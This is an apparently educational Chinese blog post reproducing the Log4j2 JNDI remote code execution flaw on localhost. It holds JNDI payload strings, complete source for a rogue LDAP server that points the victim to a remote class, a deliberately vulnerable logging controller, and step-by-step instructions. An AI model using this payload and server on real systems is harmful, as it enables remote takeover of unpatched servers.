漏洞log4j2远程执行代码复现实操代码例子(代码片段)

肉段_Dxd 肉段_Dxd     2023-02-24     722

关键词:

如何复现log4j2远程执行代码漏洞

漏洞原理


1.攻击伪装一个请求体,里面含有JNDI可执行的服务,我这里主要是试了LDAP与RMI两种,请求URL如下:

  • LADP: $jndi:ldap://127.0.0.1:1389/hello
  • RMI: $jndi:rmi://127.0.0.1:1389/hello

2.在应用程序恰巧输出了请求头或者入参的log日志时,就会触发此URL的请求,并主动请求了攻击者准备的LADP/RMI服务

3.利用LADP/RMI的特性,我们可以伪装返回值,含有要执行的恶意Class文件地址,与Class类名

4.被攻击的服务器找不到对应CLass文件就会触发JNDI的机制从远程服务器中下载Class中

5.用我们事先准备好的web服务给被攻击服务器提供可执行Class文件下载,被攻击服务器拿到到Class文件后会触发反序列化执行代码,达到了远程执行代码的目的

漏洞复现

  1. 我们先准备一个无辜的被攻击服务器(肉鸡1号)

使用 jdk1.8.0_102 ,为什么是低版本?因为我目前使用的版本 jdk1.8_201根本不会触发此BUG,里面做了个判断!不java让反序列化了
所以得用一个低版本jdk 低于 191的就行

pom引用log4j

  <!-- 引入log4j开始 -->
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>
        <!-- 引入log4j结束 -->

log4j.properties文件内容

log4j.rootLogger=DEBUG, CONSOLE, ERROR, WARN, INFO, DEBUG, ALL
#-----------------------------------------------------------------------------------------------------
log4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender 
log4j.appender.CONSOLE.Target=System.out
log4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout
log4j.appender.CONSOLE.layout.ConversionPattern=[%-5p] %dyyyy-MM-dd HH:mm:ss,SSS method:%l%n%m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.ERROR=ERROR
log4j.appender.ERROR=org.apache.log4j.DailyRollingFileAppender
log4j.appender.ERROR.File=logs/error/error.log
log4j.appender.ERROR.Threshold=ERROR 
log4j.appender.ERROR.Append=true
log4j.appender.ERROR.layout=org.apache.log4j.PatternLayout
log4j.appender.ERROR.layout.ConversionPattern=%-dyyyy-MM-dd HH:mm:ss  [ %t:%r ] - [ %p ]  %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.WARN=WARN
log4j.appender.WARN=org.apache.log4j.DailyRollingFileAppender
log4j.appender.WARN.File=logs/warn/warn.log
log4j.appender.WARN.Threshold=WARN
log4j.appender.WARN.Append=true
log4j.appender.WARN.layout=org.apache.log4j.PatternLayout
log4j.appender.WARN.layout.ConversionPattern=%-dyyyy-MM-dd HH:mm:ss  [ %t:%r ] - [ %p ]  %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.INFO=INFO
log4j.appender.INFO=org.apache.log4j.DailyRollingFileAppender
log4j.appender.INFO.File=logs/info/info.log
log4j.appender.INFO.Threshold=INFO 
log4j.appender.INFO.Append=true
log4j.appender.INFO.layout=org.apache.log4j.PatternLayout
log4j.appender.INFO.layout.ConversionPattern=%-dyyyy-MM-dd HH:mm:ss  [ %t:%r ] - [ %p ]  %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.DEBUG=DEBUG
log4j.appender.DEBUG=org.apache.log4j.DailyRollingFileAppender
log4j.appender.DEBUG.File=logs/debugger/debugger.log
log4j.appender.DEBUG.Threshold=DEBUG
log4j.appender.DEBUG.Append=true
log4j.appender.DEBUG.layout=org.apache.log4j.PatternLayout
log4j.appender.DEBUG.layout.ConversionPattern=%-dyyyy-MM-dd HH:mm:ss  [ %t:%r ] - [ %p ]  %m%n
#-----------------------------------------------------------------------------------------------------
log4j.logger.ALL=ALL
log4j.appender.ALL=org.apache.log4j.DailyRollingFileAppender
log4j.appender.ALL.File=logs/all/all.log
log4j.appender.file.DatePattern='.'yyyy-MM-dd
log4j.appender.ALL.Threshold=ALL 
log4j.appender.ALL.Append=true
log4j.appender.ALL.layout=org.apache.log4j.PatternLayout
log4j.appender.ALL.layout.ConversionPattern=%-dyyyy-MM-dd HH:mm:ss  [ %t:%r ] - [ %p ]  %m%n

  1. 准备一个伪装的LADP/RMI服务端(伪装者1号)

package com.duanxd.ldapclient.ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

/**
 * 说明:伪装者1号
 *
 * @author 肉段_Dxd
 */
public class ldapTest 

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) 
        String[] args = new String[]"http://127.0.0.1:80/#Calc";
        int port = 1389;

        try 
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

         catch (Exception e) 
            e.printStackTrace();
        
    

    private static class OperationInterceptor extends InMemoryOperationInterceptor 

        private URL codebase;

        public OperationInterceptor(URL cb) 
            this.codebase = cb;
        

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) 
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try 
                sendResult(result, base, e);
             catch (Exception e1) 
                e1.printStackTrace();
            
        

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception 
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) 
                cbstring = cbstring.substring(0, refPos);
            

            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);

            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        
    



  1. 准备一个提供可执行的class文件的web服务(伪装者2号)

    这个web服务就是个普通的web服务,设置一下端口与静态资源的目录,我们就可以将需要远程执行的class放入到static目录下,静静的等待人来远程下载它
server.port=80
spring.web.resources.static-locations=classpath:static/

4.启动伪装者1号

启动成功后会输出IP与端口号,说明启动成功了
pom需要引用一个jar,就可以启动一个ldap服务了

   <!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.3</version>
            <scope>test</scope>
        </dependency>

5.编译需要远程执行的代码

  • 找到你电脑的JDK 执行javac 把Calc.java编译成Calc.class 注意java里不要写 包路径(此处想起了最开始学习java的时候,永远在报错)

    让后将编译后Calc.class文件放入到 准备好的伪装者2号的 static目录下,等待 肉鸡1号 的下载

6.启动伪装者2号

可以自己测试一下,启动后的服务路径加上/Calc.class 是否能触发浏览器下载不,能触发下载说明就ok了,等着 肉鸡1号 来下载就好了!

7.启动肉鸡1号
就正常的boot启动就行!等待着调用!

package com.dxd.testlog4jbuga.controller;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;


/**
 * 说明:肉鸡1号
 *
 * @author 肉段_Dxd
 */
@RestController
@RequestMapping()
public class TestLogController 

    public static Logger logger = LoggerFactory.getLogger(TestLogController.class);

    /**
     * 测试被攻击
     *
     * @return 响应服务
     */
    @PostMapping("/go")
    public String go(HttpServletRequest request, String url) 
        // 获取请求头中的对象,我们这里随便定义dxd属性装我们的 URL
        String headerAuthorization = request.getHeader("dxd");
        logger.info("进来了");
        logger.info("收到" + headerAuthorization);
        logger.info("出去了");
        return headerAuthorization;
    




8.使用PostMen请求肉鸡1号,触发远程代码执行
在headers中写一个自定义的key,恰巧 肉鸡1号 也取了这个dxd的key,一切就这么巧合,肉鸡1号,还用log输出了一下呢!

9.就可以看到 肉鸡1号 的服务器触发了计算器,至于为啥都是计算器,我也不知道!那就跟风也计算器吧!
查看详情

快速修复log4j2远程代码执行漏洞步骤(代码片段)

...来源:blog.csdn.net/weixin_48990070/article/details/121861553目录漏洞说明修复步骤下载源码zip包到本地解压到本地用IDEA打开项目执行MavenDeploy,将log4j2修复的版本包安装到Nexus修改项目中的pom.xml测试验证ApacheLog4j2远程代码执行漏洞... 查看详情

.net程序测试java项目log4j2是否存在远程代码执行漏洞(代码片段)

最近两天被朋友圈的“ApacheLog4j2远程代码执行漏洞”刷屏了,主要是因为组件存在JavaJNDI注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发ApacheLog4j2中的远程代码执行漏洞,从... 查看详情

快速修复log4j2远程代码执行漏洞步骤(代码片段)

...et/weixin_48990070/article/details/121861553/ApacheLog4j2远程代码执行漏洞修复步骤漏洞说明ApacheLog4j2是一个基于Java的日志记录工具。由于ApacheLog4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。... 查看详情

最新log4j2远程代码执行漏洞(紧急扩散)

目录一、问题描述二、漏洞简介三、临时解决方案一、问题描述在12月9日晚间出现了ApacheLog4j2远程代码执行漏洞攻击代码。该漏洞利用无需特殊配置,经多方验证,ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink等均受影响。Ap... 查看详情

log4j2漏洞复现与利用(代码片段)

文章目录漏洞简介log4j2教程环境搭建测试运行专业名词解释及其payload分析利用工具简介:log4j2漏洞验证(弹出计算器版)被攻击者的log4j2打印函数示例攻击者执行操作漏洞复现log4j2漏洞验证(DNSlog版)DNSlog如... 查看详情

分析并复现apache核弹级漏洞,利用log4j2使目标服务器执行任意代码(代码片段)

12月9日晚间,ApacheLog4j2被曝光存在严重漏洞,可以随意执行任意远程代码,本贴将详细分析事故原因及实战复现此漏洞!一.事件详情1.事件经过2021年12月9日,国内多家机构监测到Apachelog4j存在任意代码执行漏... 查看详情

log4j2远程执行漏洞原理以及解决方案(代码片段)

...了,因为最近实在是超级忙,最近Log4j2核弹级别漏洞被疯狂刷屏。2021年12月9日,国内多家机构监测到ApacheLog4j2存在任意代码执行漏洞,并紧急通报相关情况。由于ApacheLog4j存在递归解析功能,未取得身份认证... 查看详情

安全公司意外曝光windows远程代码执行漏洞(代码片段)

...全公司意外发布了一个针对关键Windows后台打印处理程序漏洞的概念验证漏洞,恶意用户可以利用该漏洞来破坏ActiveDirectory域控制器。事情起因有些复 查看详情

java代码审计之rce远程命令执行

漏洞原理:RCE漏洞,可让攻击者直接向后台服务器远程注入操做系统命令或者代码,从而控制后台系统。出现此类漏洞通常由于应用系统从设计上须要给用户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web... 查看详情

log4j2高危漏洞cnvd-2021-95914复现及分析(代码片段)

漏洞描述安全公告编号:CNTA-2021-0033安全公告编号:CNTA-2021-00322021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了ApacheLog4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远... 查看详情

手把手教你复现apachelog4j2漏洞(代码片段)

...需要注意的是,log4j2的版本从2.0~2.14.1之间都是有安全漏洞的,在2.15版本(包含2.15)后就已经修复了这个漏洞;所以我们在复现时只要版本不超过2.15即可;原因开源网安研究院注意到,一个ApacheLog4j2的... 查看详情

手把手教你复现apachelog4j2漏洞(代码片段)

...需要注意的是,log4j2的版本从2.0~2.14.1之间都是有安全漏洞的,在2.15版本(包含2.15)后就已经修复了这个漏洞;所以我们在复现时只要版本不超过2.15即可;原因开源网安研究院注意到,一个ApacheLog4j2的... 查看详情

apachelog4j2rce远程命令执行漏洞复现与分析(代码片段)

0x00漏洞描述2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了ApacheLog4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开&#x... 查看详情

一问三不知之log4j2漏洞简析(代码片段)

1.log4j2漏洞介绍1.1简介ApacheLog4j2是对Log4j的升级,它比其前身Log4j1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。2021年11月24日,阿里... 查看详情

log4j2漏洞信息最新跟进(代码片段)

前言  一直在解决漏洞,连续发版,从最开始的Log4j2.15.0到现在最新2.17.0,大大小小的版本已经发了10个了,影响的周期已经接近两周了,目前还没看到收尾的迹象。。这次应该是爆出来的第4个漏洞了:... 查看详情

log4j2远程代码注入漏洞demo(代码片段)

网上已经有大量的资料讲解了漏洞的原因和发展过程,我主要写实现过程  所以在jdk>1.8.0_181时除非用户自己开启了com.sun.jndi.rmi.object.trustURLCodebase配置,否则漏洞是无法通过rmi来实现的,但是这也并不是说jdk>1.8.0... 查看详情

log4j2爆出漏洞,如何快速升级(代码片段)

近日,ApacheLog4j的远程代码执行漏洞细节被公开,该漏洞一旦被攻击者利用会造成严重危害。ApacheLog4j是一款开源的Log4j2室一款开源的Java日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于Log4j2提供的look... 查看详情